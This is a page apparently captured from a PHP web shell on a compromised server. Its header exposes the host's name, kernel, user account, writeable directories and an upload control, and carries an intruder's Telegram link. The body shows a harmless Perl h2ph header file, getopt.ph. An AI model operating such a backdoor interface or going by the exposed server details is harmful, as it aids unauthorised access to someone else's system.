https://t.me/RX1948
Server : Apache
System : Linux server.lienzindia.com 4.18.0-348.7.1.el8_5.x86_64 #1 SMP Wed Dec 22 13:25:12 UTC 2021 x86_64
User : plutus ( 1007)
PHP Version : 7.4.33
Disable Function : NONE
Directory :  /usr/local/apps/perl/lib/site_perl/5.30.0/x86_64-linux/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //usr/local/apps/perl/lib/site_perl/5.30.0/x86_64-linux/getopt.ph
require '_h2ph_pre.ph';

no warnings qw(redefine misc);

unless(defined(&_GETOPT_H)) {
    unless(defined(&__need_getopt)) {
	eval 'sub _GETOPT_H () {1;}' unless defined(&_GETOPT_H);
    }
    if(!defined (&__GNU_LIBRARY__)) {
	require 'ctype.ph';
    }
    unless(defined(&__THROW)) {
	unless(defined(&__GNUC_PREREQ)) {
	    eval 'sub __GNUC_PREREQ {
	        my($maj, $min) = @_;
    		eval q((0));
	    }' unless defined(&__GNUC_PREREQ);
	}
	if(defined (&__cplusplus)  &&  &__GNUC_PREREQ (2,8)) {
	    eval 'sub __THROW () { &throw ();}' unless defined(&__THROW);
	} else {
	    eval 'sub __THROW () {1;}' unless defined(&__THROW);
	}
    }
    if(defined(&__cplusplus)) {
    }
    unless(defined(&__need_getopt)) {
	eval 'sub no_argument () {0;}' unless defined(&no_argument);
	eval 'sub required_argument () {1;}' unless defined(&required_argument);
	eval 'sub optional_argument () {2;}' unless defined(&optional_argument);
    }
    if(defined(&__GNU_LIBRARY__)) {
	if(defined (&__need_getopt)  && defined (&__USE_POSIX2)  && !defined (&__USE_POSIX_IMPLICITLY)  && !defined (&__USE_GNU)) {
	    if(defined(&__REDIRECT)) {
	    } else {
		eval 'sub getopt () { &__posix_getopt;}' unless defined(&getopt);
	    }
	}
    } else {
    }
    unless(defined(&__need_getopt)) {
    }
    if(defined(&__cplusplus)) {
    }
    undef(&__need_getopt) if defined(&__need_getopt);
}
1;

https://t.me/RX1948 - 2025